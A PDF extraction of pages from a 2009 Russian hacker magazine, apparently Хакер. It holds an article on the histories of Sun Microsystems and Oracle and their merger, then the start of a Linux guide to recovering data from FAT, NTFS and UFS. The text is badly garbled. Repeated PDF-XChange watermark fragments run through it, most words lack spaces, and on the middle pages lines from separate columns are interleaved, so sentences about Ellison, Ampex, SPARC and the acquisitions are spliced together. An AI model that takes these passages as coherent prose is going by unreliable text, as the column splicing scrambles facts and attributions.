Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
17.2 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

МУЗЕЙНЫЙСТЕНДSUNВСТЕНФОРДЕ.НАФОТО—ЧЕТВЕРКАОСНОВАТЕЛЕЙ

МИЛЛИОННАЯКОПИЯСИСТЕМЫ,ВСБОРЕВСЕРУКОВОДСТВОSUN,КОРОБКУДЕРЖИТСКОТТМАКНИЛИ

SUN MICROSYSTEMS INC.

ОкомпанииSun мыужеписалинеоднократно.

ВпредыдущихномерахтыможешьнайтииподробнуюисториюSun икучусамойразнойинфы оеепродуктах(втомчислеиовзломеоных), а такжепочитатьбиографииключевыхлиц. ТакоевниманиекSun снашейсторонысовсем неудивительно, всежеонибылиоднимиизпервопроходцеврынкаипосовместительствумного летоставались однимизегофлагманов. Впрочем, еслитынехочешьискатьстарыеномераилинеимеешьтакойвозможности, краткую «историческуюсправку» явсежеприведу:

Sun Microsystems былаоснованав1982 году, и

рукикеезарождениюприложилиизвестный венчурныйинвесторВинодХослаипрограммистыЭндиБехтольшеймиСкоттМакнили. Чуть позжекэтойтроицеприсоединилсяещеодин прогер— БиллДжой.

АббревиатураSUN произошлаотназвания

Stanford University Network («СетьСтенфордско-

гоУниверситета») — проекта, которымзанималисьБехтольшеймиМакнили, какнетрудно догадаться, будучивыпускникамиСтенфордскогоуниверситета:).

Нарынокчувакипришли, имеябольшие планыибудучиполныидей. Всеначалосьеще супомянутогоуниверситетскогопроекта, входе реализациикоторогоимпотребовалисьмашины дляCAD/CAM-приложений, иБехтольшейм спроектировалдляэтихцелейпервуюрабочую станциюSun — Sun 1. Станциятакудалась, что нашихгероевпосетиламысль, чтоизвсегоэтого можетполучитьсябизнес, ведьвсетожесамое можноделатьинапродажу.

Втовремямалоктопомышлялособственном,

персональномкомпьютере—вбольшинствесвоем людиработалинамикрокомпьютерахпоочереди, илижеврежимеразделениявремени.Втаких условияхпредложитьпользователямсравнительнонедорогиеимощныерабочиестанциис поддержкойсети(девайсынесливсебеEthernetадаптер,поддерживающийTCP/IP, позволявший использоватьраспределенныевычисления) виделосьоченьнеплохойидеей.

Ихотяэтотсегментрынкаужеотнюдьнебылпуст

здесьприсутствовалииApple иIBM, иHP и Apollo сосвоимирабочимистанциями, имногие другие, этооснователейSun неостановило.

Вцеляхборьбысконкуренциейонирешили базироватьсвоистанциитольконапромышленныхкомпонентах, атакжебесплатномиоткрытом Unix, усовершенствованномличноБилломДжоем(коийявляетсяоднимиз«отцов» BSD UNIX. Вобщем-то, из-заUnix Джойипопалвкоманду Sun). Каквыяснилось, онинепрогадали. Практическиссамогооснованиякомпании лозунгом, теглайномибессменнымдевизомSun сталафраза«Сеть— этокомпьютер!». Тоесть, помнениюспецовSun Microsystems: «Настоящимкомпьютеромможетсчитатьсятолькосеть компьютеров». Поспоритьсэтимутверждением сложно, достаточнопредставить, чтоутебянет интернетаипроникнуться, мысльюкакэтобыло быужасно:).

Однаковтегодывсебылодалеконетакпросто. Прогрессещетольконачиналсвоешествиев массы, осетяхчеловечествотольконачинало предметнозадумываться, идевизпотемвременамказалсяфактическиреволюционным.

Но, какнистранно, упомянутыемассынеимели ничегопротивнебольшойреволюции. «Сете-

ЛИДЕРORACLEЛАРРИЭЛЛИСОН

вая» политикамолодойфирмыпришласьрынку оченькстати, уженавторойгодсуществования компаниионапринеслаSun контрактна40 миллионовдолларовсComputervision — основ- нымпоставщикомCAD-системтоговремени. Контракт, кстати, былуведенпрямоиз-подноса главногоконкурента— Apollo.

Немногимпозженасветпоявиласьтехнология

Network File System (NFS), котораяещебольше укрепилафундаментбудущегогиганта(икоторую, кстати, продолжаютюзатьпосейдень).

МультиплатформеннаяNFS (онаработалапод

MS DOS, IBM DOS, Mac’ом, VMS иниксами)

позволялаюзерамполучитьдоступкресурсам других, удаленныхмашинвсети. Самоеинтересное— NFS былаоткрытой, залицензиюна получениеисходногокодаSun просилисовсем немного. Такимобразом, вSun смоглинетолько заработатьнаNFS сами, ноисделалитехнологиюобщедоступной, атакжесмоглиразвиватьее нетолькосвоимисилами, ноисиламиконкурентовипростых, стороннихразработчиков. Ход, конечно, рискованный, но, цитируяБиллаДжоя: «Создатьрынок— значитвладетьим!». Похожиесхемыкомпаниявпоследствииреализовываланеоднократноипрактическивсегда успешно.

ORACLE CORPORATION

АтеперьпришловремяпоговоритьозарожденииOracle, котораяещестаршеSun Microsystems.

ОсновалиOracle в1977 году, иисходнофирма носиланеприметноеимяSoftware Development Laboratories. Насамомделе, передтемкак обрестизнакомоенамимя, компанияуспела пережитьцелыйрядметаморфоз: так, в1979

названиеизменилосьнаRelational Software Inc,

в1982 — наOracle Systems (вчестьфлагманского продуктакомпании: Oracle database) и, наконец, парулетспустя, мируявилсявеликийиужасный

Oracle Corporation.

Основалибудущегогигантавобластиразработкисистемуправлениябазамиданныхтричеловека— ЭдОутс, БобМайнериЛарриЭллисон. Пожалуй, можносказать, чтовсудьбеOracle наиболееважнуюрольсыгралпоследнийиз перечисленнойтроицы— ЛарриЭллисон, ведь именноеговсегданазывалимозгомкомпании. Поэтомуонемярасскажуподробнее.

ВдетствеиюношествеЭллисонарешительно ничтонепредрекало, чтоонстанетоднимиз богатейшихлюдейнапланете. Деловтом, чтоЛарри— сын19-летнейиммигранткииз

Одессы, онродилсявБронксе, ивмладенческом возрастебылоставленматерьюнапопечениеее дядиитети(которыевпоследствииисталиего приемнымиродителями).

XÀÊÅÐ 11 /131/ 09

069

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

СЦЕНА

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Онникогданезналдажеимени

вжизнисерьезнойпрограммыи

понадобилисьбольшиемощности

компанииCray. Историяуэтойсдел-

своегобиологическогоотца, адо

первойбольшойбазыданных, ион

(вчастности, Sun болеенеустраи-

кизабавная— известныйпроизво-

48 летнезналисвоейнастоящей

справился. Получившемусядетищу

валипроцессорыотMotorola), было

дительсерверовhigh-end класса

матери. Егоприемныйотецугодилв

ЭллисондалимяOracle.

решеноразработатьсобственный

Cray строилсвоимашиныначестно

тюрьму, когдаЭллисонубыловсего

Отом, чтобылодальше, ты

проц— возможностидляэтогоиме-

купленныхуSun технологиях, но

18, априемнаяматьумерлаитого

ужезнаешь— вдохновленный

лись. Такпоявился32-разрядный

любыепредложенияослияниис

раньше.

процессомпрограммирования

микропроцессорSPARC, созданный

Sun отвергал. Однако, витоге, Cray

ВтожевремяЭллисонупришлось

ирядомпубликацийвпрессе(в

набазепереработаннойRISC-ар-

поглотилавеликаяиужаснаяSilicon

оставитьвторойкурсуниверситета

частности, статьейвIBM Journal

хитектуры. Онположилначалоеще

Graphics, и, нежелаяработатьс

(University of Illinois at Urbana-

of Research and Development о

однойветвибизнесаSun — «желез-

чужимиплатформами, принялась

Champaign). Причинабылабаналь-

системахуправленияреляцион-

ной». ИздесьSun сновапошлапо

избавлятьсяотлишнегобалласта.

на— из-завсехсвалившихсяна

нымиБД), Эллисонвидитвэтом

проверенномупути— архитектура

ВSun былитолькорады«забрать» у

негоперипетийЭллисонзавалил

хорошиеперспективыдлябизнеса

SPARC былаоткрытой, приобрести

SGI ненужныеейподразделения.

экзамены.

ирешаетпоставитьнаписание

лицензиюнаееиспользование

Благодаряэтойсделке, «солнеч-

Ищалучшейжизни, свободныйкак

софтанакоммерческуюоснову,

легкомог(ипосейденьможет)

ные» далистартпроекту«Starfire»,

ветериещесовсеммолодойЛарри

открывсобственнуюфирму. Его

любойжелающий. Втожевремя,

изкоторогопозжевыросло

решилподатьсявсевернуюКали-

партнерамипобизнесуисоучре-

вконце80-хгодов, Sun начала

пополнениевлинейкеUNIX-серве-

форниюкдругу, гдеиосел, попутно

дителямистановятсяколлегипо

покупатьдругиекомпании, фирмыи

ров— многопроцессорныймонстр

сновапоступиввуниверситет(на

Ampex ипроектуOracle — Роберт

фирмочки. Однимизпервыхприоб-

Ultra Enterprise 10000. Такимиво

этотразвуниверситетЧикаго). Там

МайнериЭдОутс. Стоитотметить,

ретений, например, сталаCentram

временабумадоткомов, например,

Ларризанялсяпрограммировани-

чтостартовыйкапиталЭллисон

Systems West, купленнаяв1987.

пользовалсяeBay. Ценаполностью

ем, атакженашелработу, устроив-

выложилизсвоегокармана,

Компаниязанималасьразработкой

сконфигурированногодевайсалег-

шисьвкомпаниюAmpex.

«инвестировав» всобственные

сетевогософтадляПК, «Маков» и

кодостигаламиллионадолларов.

Забавно, нопокакой-топрихоти

начинания$1400.

системSun. Втомжегодубылапри-

«Свежейкрови» всерверные

вселеннойAmpex Corp, основанная

ÊÒÎ ÊÎÃÎ «ÑÚÅË»

обретенаещеиTrancept Systems,

деладобавилапокупкакомпании

вконцеВтороймировой, тожедело

разрабатывавшаяускорители

Integrated Micro Products, специа-

рукрусскогоиммигранта— пол-

Вернемсяктому, счегоначаласьэта

изображенийивидеодлярабочих

лизировавшейсянаотказоустойчи-

ковникацарскойармии, инженера

статья— кгрядущемуслияниюдвух

станций. Новсеже, нерабочими

выесерваках.

ипредпринимателяАлександра

гигантов.

станциямиедиными... Наступили

Какможнопонять, делауSun и

 

 

 

такшлиболеечемнеплохо, абум

CRAYПОГЛОТИЛАВЕЛИКАЯИУЖАСНАЯSILICON

доткомов, имевшийместовконце

90-х, начале2000-хгодовтолько

GRAPHICS,И,НЕЖЕЛАЯРАБОТАТЬСЧУЖИМИ

«усугубил» положение. Прибыли,

выручки, ценынаакции, всеуве-

ПЛАТФОРМАМИ,ПРИНЯЛАСЬИЗБАВЛЯТЬСЯОТ

ренношловверх. Нужносказать,

чтокэтомумоментуSun подошелво

ЛИШНЕГОБАЛЛАСТА.

 

всеоружии: в1995 ониявилимиру

 

платформуJava ивсеснейсопря-

 

 

 

женное; успешновнедрилиплат-

МатвеевичаПонятова. Название

ОказалилиSun иOracle влияние

90-е, иSun Microsystems потихонь-

формуOpen Network Computing;

Ampex какразпроисходитотего

нарынок? Безусловно. Болеетого,

куприняласьменяться. Еслидо

перешлинасобственнуюОСSolaris,

инициаловититула: обращение

онипродолжаютвлиятьнанегои

этогоееосновнымпродуктомбыли

сформировавподразделение

«ВашеПревосходительство» по-

сейчас. Еврокомиссиянедаром

упомянутыеворкстейшоны, тоте-

SunSoft, занимавшеесяразвитием

английски— excellence. AMPex =

медлитсрешениемужеболеепо-

перьпришлапорауделитьбольше

ОСисопутствующегоПО; предла-

A.M.Poniatoff EXcellence.

лугода, рассматриваяихгрядущую

вниманиясофтудлянихизаняться

галиширокийспектрсерверови

КомпаниявцеломиПонятовв

сделкусовсехвозможныхсторон.

дальнейшимразвитиемсобствен-

рабочихстанцийвсехмастей.

частностиизвестны, например,

Послезавершенияслияния, вруках

ных«железок».

Ну, акогдавсескладываетсякак

тем, чтоименноблагодаряимбыли

Oracle окажутсявсеразработкиSun

В1991, выкупивуEastman

нельзялучше, «времяпокупать»!

изобретеныиувиделисветтакие

вобласти«железа», фактическая

Kodak фирмуInteractive Systems

Однимизудачнейшихприобрете-

замечательныевовсехотношениях

монополиянатехнологиюJava,

Corporation, Sun какое-товремя

нийSun вконце90-хсталанемец-

девайсы, каккатушечныйаудио-

плюсихсобственныедостижения

выпускалидевайсысихInteractive

каяфирмаStarDivision, разрабаты-

магнитофонивидеомагнитофон.

напоприщесистемуправления

UNIX (портоперационнойсистемы

вавшаяофисныйпакетStarOffice.

Многиелидерырынкавидеотехно-

базамиданных.Но, какужебыло

UNIX System V напроцессорыIntel

Вселицензированныечастииз

логий— Sony, JVC, Toshiba, Phillips и

сказановначале— бизнесесть

x86) наборту. Кконцу90-х, когдау

пакетабылиудалены, послечего

т. д. — долгиегодыработалиименно

бизнес, икогдаречьидетовысшей

Sun появилсясвойSolaris ОС, инте-

оставшуюсячастьдокументациии

попатентамПонятова. Словом,

лиге, здесьнеобойтисьибез

рескInteractive UNIX ониутратили.

кодаполностьюоткрыли. Набазе

проAmpex иееоснователяможно

длиннойисториисделокпопокупке

В1994 и1996 годахSun покупает

этихисходников, например, возник

рассказыватьещедолго, нотаккак

перспективныхстартапов, агони-

сначала«железную», апотом

проектOpenOffice.org, который

речьсейчаснеоних, ограничусь

зирующихконкурентовитакдалее.

исофтвернуючастькомпании

Sun такженеобошлавниманием

лишьтем, чтозамечу— Эллисонпо-

КогожепокупалиOracle иSun, кого

Thinking Machines — разработчика

иподдержала. Плюс, конечно,

лучилдолжностьвоченьинтерес-

поглощали, наращиваямощьикак

высокопроизводительныхмашин.

корпоративнымклиентамStarOffice

номиперспективномместе. Один

сталитем, чемстали?

Интересно, чтоостаткикомпа-

продолжалипродолжаетпостав-

изпроектов, надкоторымЛарри

SUN

нии, котораяещекакое-товремя

ляться, являясьпроприетарнымПО.

работалвAmpex Corporation, ока-

продолжалаработать, занимаясь

Вотнекоторыедругиесделкиконца

залсясвязанссозданиемБДдля

ИсторияSun развиваласьстреми-

исключительнодатамайнингом, в

90-х, начала2000-х: 1997 — Chorus

ребятизЦРУ. Посути, дляЭллисона

тельно. Рабочиестанциипрода-

1999 годувыкупитOracle.

Systems, создателиChorusOS.

этовылилосьвнаписаниепервой

валисьхорошо, икогдакомпании

Втомже1996 кSun перешлаичасть

1998—i-Planet,небольшаясофт-

070

XÀÊÅÐ 11 /131/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

SOLARISOSПРИВЕТСТВУЕТТЕБЯ:)

ПРОЦЕССОРULTRASPARC.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

вернаякомпания,написавшая

отдельноот«железа» — обычноэту

панииSybase иInformix, битвас

ЗАКЛЮЧЕНИЕ

e-mailклиент«PonyEspresso»для

рольнасебябралисамивендоры.

которымидлиласьнескольколет.

Когдав2008 былиобнародованы

мобильников. 1998—NetDynamics,

Врезультате, продуктыOracle,

Oracle тогдаоказалсянаграни

печальныецифрыстатистики,

создателиNetDynamicsApplication

быстронаучившиесяработатьс

банкротства— продажиупалина

согласнокоторымубыткиSun

Server.2000—CobaltNetworks,про-

самымиразнымиплатформамии

80%, расходыпревышалидоходы,

Microsystems исчислялисьсотнями

изводительустройствдлядоступав

комплектующими, произвелина

иэтопонеслозасобойсокраще-

миллионовдолларов, аколичество

интернет.2001—LSCInc.,разработ-

рынкенастоящийфурор. Самымиз-

ния. Казалось, чтоещенемногои

уволенныхсотрудниковуже

чикиStorageandArchiveManagement

вестнымпродуктомкомпаниибыла

компаниязачахнетсовсем. Тогда

измерялосьвтысячах, начались

FileSystemиQuickFileSystem.

иостаетсянепосредственноСУБД

Эллисонпринялрешение, обновить

разговорыоскоройпродажекомпа-

Однаковсераноилипоздноконча-

Oracle, сгодамипретерпевавшая

составпрактическивсегоруководя-

нии. Ихподтвердилисообщенияв

ется,и«белаяполоса»висторииSun

различныеметаморфозы.

щегозвена, иэто, очудо, помогло.

прессе, появившиесявначале2009

оборвалась,когдалопнулпузырь

Так, Oracle v2 (пустьцифра2 тебяне

ВыпускновыхБД, внимательность

года— слухигласили, чтокомпания

доткомов.Резкоепадениевыручек

смущает, этобылаперваяверсия

иаккуратностьпоотношениюк

IBM сделалаSun предложение,

ипадениеценнаакцииповлеклоза

«Оракула»), вышедшаяв1979,

маркетинговойполитике— всеэто

ценой6.5 млрд. долларов. Однако,

собоймногочисленныеувольнения,

быланаписананаассемблереи

сумелоспастикомпанию.

информациянеподтвердилась,

сокращениепроизводстваисмену

сталапервойкоммерческойСУРБД

НарукуOracle сыгралитотфакт, что

илиже, согласно«проверенным

руководствакомпании.Перечис-

наязыкеSQL — весьосновной

Sybase в1993 осуществилслияние

источникам», Sun иIBM несумели

ленное,конечно,тоженеулучшило

функционалSQL онареализовы-

скомпаниейPowersoft, аправа

достигнутьконсенсуса. Второе

общейситуации. Вэтожевремя

вала. Стоитотдельноотметить, что

насвойсофтподWindows продал

известиеужеоказалосьправди-

многиекрупныекомпаниистали

Эллисонисотоварищи«подсмот-

Microsoft. Кстати, теперьихпродукт

вее: вапреле2009 Sun иOracle

отдаватьпредпочтениенедорогосто-

рели» всеэтоуIBM, котораякак

известенподименемSQL Server :),

официальнообъявилиосвоей

ящимсерверамSun,аболеепростым

разработаланадSLQ иБД, ноне

КонецконкуренциисInformix и

сделке. Пресс-релизыгласили, что

решениям,вродесерверовх86-архи-

виделавэтомособыхкоммер-

вовсеположилслучай. В1997

Oracle предложил$9.50 заакцию, то

тектурыПК-класса,работающихпод

ческихперспективинебоялась

противостояниемеждукомпаниями

есть, всуммераскошелилсяна$5.6

Линуксом.Конечно,ихтребовалось

писатьобэтомстатьи:). Витоге,

несходилоспервыхполосСМИ, и

миллиарда, асучетомдолговSun —

больше,новсеравновыходилокуда

Oracle опередилиIBM свыпуском

Informix какразготовилаочередной

на$7.4 миллиарда. Уже16-гоиюля

дешевле.ВпоследствииSunудалось

ихСУБДSystem R, показав, что

«ответныйудар», когдаеедиректор

сталоизвестно, чтоакционерыSun

немногоисправитьэтуситуацию—

коммерческиеперспективыуБД

ФилУайтнеожиданнопопалвтюрь-

дали«добро» насовершениесдел-

помоглиновыепроцессоры,вчаст-

простопрекрасные— недостаткав

му. Потерявсвоеголидера, Informix

ки, ногосударственныеинстанции

ностиUltraSPARCT1,новозвраще-

покупателяхненаблюдалось.

постепенносдалапозиции, ав2000

такторопитьсянесобирались.

ниякпрежнимвременамвсеравно

Oracle v3, всвоюочередь, ужебыла

ивовсебылапоглощенакомпанией

Быстреевсехзакончилосвои

ждатьуженеприходилось.Впериод

написана, точнее, переписанана

IBM. Получивперерыввпарулет,

проверкиправительствоСША—оно

медленногоугасания,длившийся

Си. Онанаучиласьподдерживать

Oracle успелаполностьювстатьна

одобрилосделкуещевавгусте.А

сначала2000-хгодовидонаших

транзакцииисталапервойСУРБД,

ноги, вернутьсебепрежнююмощь

вотЕврокомиссиядолжнабылавы-

дней,SunMicrosystems,конечно,

работающейнамейнфреймах,

иподготовитьсяквыходунарынок

нестирешениеэтойосенью,однако

успелазаключитьещемножество

мини-компьютерахиПК. Oracle

новыхкрупныхконкурентов, в

отодвинуласрокнапервыйквартал

сделоки«съела»десяткикомпаний,

вообщечастооказывалсяпервым.

частности, Microsoft SQL Server. До

2010года.Пристальныйинтерес

ноупоминаниядостойна,пожалуй,

Дальнейшиеверсиипродолжили

начала2000-хгодовOracle, какни

европейцеввызываеттотфакт,что

лишьоднаизних:вначале2008года

обрастатьполезностямиинеобхо-

странно, нестремилсяперекупать

SunвладеетMySQL.Российскаяфе-

агонизирующий,нонежелающий

димостями, иеслив1980 годуштат

все, чтоплохолежит. Затос2005

деральнаяантимонопольнаяслужба

сдаватьсяSunприобрелMySQL

компаниинасчитывалвсего7 чело-

года, начавшегосясприобретения

тоженеторопитсясвынесением

AB—разработчиковиобладателей

век, агодовойдоходнепревышал

компанииPeopleSoft, врукиOracle

вердикта.Повторюсь:колебания

правнаopen-sourceСУБДMySQL.

миллионадолларов, тоужев1986

отошлидесяткифирм(более50,

антимонопольщиковможнопонять.

ПокупкаобошласьSunпочтивмил-

годуOracle благополучновышелна

точнуюцифруназватьсложно). В

ВместеSunиOracleсоставляют«иде-

лиарддолларовисулилахорошие

биржу, ставпубличнойкомпаниейс

основномOracle приобреталсред-

альнуюпару».Водномместесойдут-

перспективы,делая«солнечных»

доходомв55 миллионов.

нихразмеровкомпании, такили

сяпрактическиполнаямонополияна

однимиизкрупнейшихигроковна

Вплотьдо90-хгодовделауOracle

иначесвязанныеспроизводством

Java,серьезныеhardware-мощности,

рынкеopensorce.Новконце2008

шлихорошоировно, безкаких-ли-

БД— все, чтомоглопригодиться,

мощнейшаяБД,укомплектованная

появилисьпервыеслухиотом,что

боэксцессов, ивозможноименно

покупалось, новтожевремяOracle

опцияминавсеслучаижизни,Virtual

самаSunскоробудетпродана.Вско-

поэтомусотрудникиизлишне

нераспылялся.

box,SolarisОС,MySQLимногое,

реэтислухиподтвердились.

расслабилисьиупустилиперелом-

Самойкрупнойсделкойв«пос-

многоедругое.Какраспорядится

ORACLE

ныймомент. Oracle ужеуспелстать

лужномсписке» Oracle насегодня

всемэтимOracle,отчегооткажется,

однимизлидеровнарынкеПО, но

является, конечно, завершающееся

чтопродолжитразвивать,ачтоадап-

Oracle фактическисталаодной

незаметилприходасильныхконку-

поглощениеSun, аналоговкоторому

тируетподсебя,известно,пожалуй,

изпервыхвисториикомпаний,

рентови«пропустилудар».

помасштабностииценевистории

толькоЛарриЭллисону.Нокаждому

котораяначалапродаватьСУБД

Главными«врагами» сталиком-

Oracle поканебыло.

ясно,чтоперспективыогромны. z

XÀÊÅÐ 11 /131/ 09

 

 

071

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

w Click

to

 

 

 

 

 

 

UNIXOID

 

 

 

 

 

 

 

m

МАКСИМ «HATCHET» ПОЛЕВОЙ MAKS.HATCHET@YANDEX.RU

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

Ñâîéсреди чужих

ВОССТАНАВЛИВАЕМДАННЫЕСFAT,NTFS ИUFS,НЕПОКИДАЯLINUX

О ВОССТАНОВЛЕНИИ ДАННЫХ С ФАЙЛОВЫХ СИСТЕМ LINUX НЕ ПИСАЛ ТОЛЬКО ЛЕНИВЫЙ. ДЛЯ ВЫПОЛНЕНИЯ ЭТОЙ ЗАДАЧИ СУЩЕСТВУЕТ МНОЖЕСТВО САМЫХ РАЗНООБРАЗНЫХ СРЕДСТВ, ВКЛЮЧАЯ УТИЛИТУ DEBUGFS, КОТОРАЯ С ЛЕГКОСТЬЮ ИЗВЛЕКАЕТ ЛЮБЫЕ ПОТЕРТЫЕ ФАЙЛЫ С EXT2. НО КАК ЖЕ БЫТЬ С ДРУГИМИ ФС? КАК ВОССТАНОВИТЬ ИСЧЕЗНУВШИЙ ФАЙЛ С ФЛЕШ-БРЕЛКА ИЛИ РАСПОЛОЖЕННОГО РЯДОМ NTFS-РАЗДЕЛА? ОБ ЭТОМ МОЛЧАТ ДАЖЕ САМЫЕ ТРУДОЛЮБИВЫЕ БЛОГГЕРЫ. А МЕЖДУ ТЕМ, ВСЕ ОЧЕНЬ ПРОСТО И ПРОЗАИЧНО.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Íевсегдаудобноперезагружатьсяв другуюоперационнуюсистемудля выполнениядействийпопроверке файловыхсистем, восстановления файлов, измененияразмераразделов

ивыполнениядругихоперацийсданными. Представь, чтоуженескольколетнатвоем компеустановленодвеоперационныесистемы: Windows иLinux. Первуютызагружаешьочень редкоитольковэкстренныхслучаях, второй пользуешьсяежедневноиужеподумываешьо полномпереходенаLinux иудалениивинды, воттолькоNTFS-раздел, хранящийгодаминакапливаемыеданные, перевестивext3 нельзя никакимиинструментами. Приходитсядержать двеоперационки, потомучтохотьNTFS-раздел

идоступенизLinux (спомощьюntfs-3g), для решенияпроблемфайловойсистемывсеравно придетсяперезагружатьсявWindows.

АеслинакрыласьфайловаясистемаFAT на Flash-накопителе? Опятьперезагружаться

вWindows? Илитыслучайноудалилфайлв файловойсистемеUFS, принадлежащейрядом установленнойFreeBSD? Можетбыть, тысистемныйадминистратор, идискадлявосстановленияWindows внужныймоментнеоказалось подрукой? Отвечунавсевопросысразу: почти вседействияповозвращениюизнебытияфайловыхсистемFAT, NTFS, UFS, восстановлению хранящихсявнихфайлов, диагностикеимного-

мудругомуможнопроизвести, непокидаяLinux. Изэтойстатьитыузнаешь, какэтосделать.

НАБОРИНСТРУМЕНТОВ

Передтем, какперейтинепосредственнок описаниюпроцессавосстановления, диагностикиивозвращенияубитыхфайловкжизни, считаюсвоимдолгомознакомитьтебясоспискомиспользуемыхинструментов. Во-первых, нампонадобятсяинструментыдляработыс файловымисистемами(создание, проверка, получениеинформации). Всеонираспространяютсявтрехпакетах:

1.dosfstools — утилиты для работы с файловыми системами типа FAT. Пакет содержит всего две программы: mkfs.vfat (mkfs.dos) для создания файловой системы и fsck.vfat (fsck. dos) для выполнения проверки файловой системы.

2.ufsutils — набор утилит для работы с UFS и производными (например, FFS, используемой во FreeBSD). Содержит восемь утилит, вклю-

чая mkfs.ufs, fsck.ufs, tunefs.ufs (настройка ФС), growfs.ufs (изменение размера) и другие.

3.ntfsprogs — различные утилиты для работы

сNTFS. Не содержит программ для создания или полной проверки (базовая проверка возможна) файловой системы, но включает в себя массу полезнейших инструментов, таких как ntfscp для копирования файлов без мон-

тирования раздела, «реинкарнатор» файлов ntfsundelete, утилита для изменения размера раздела ntfsresize, программа для клонирования разделов ntfsclone и другие.

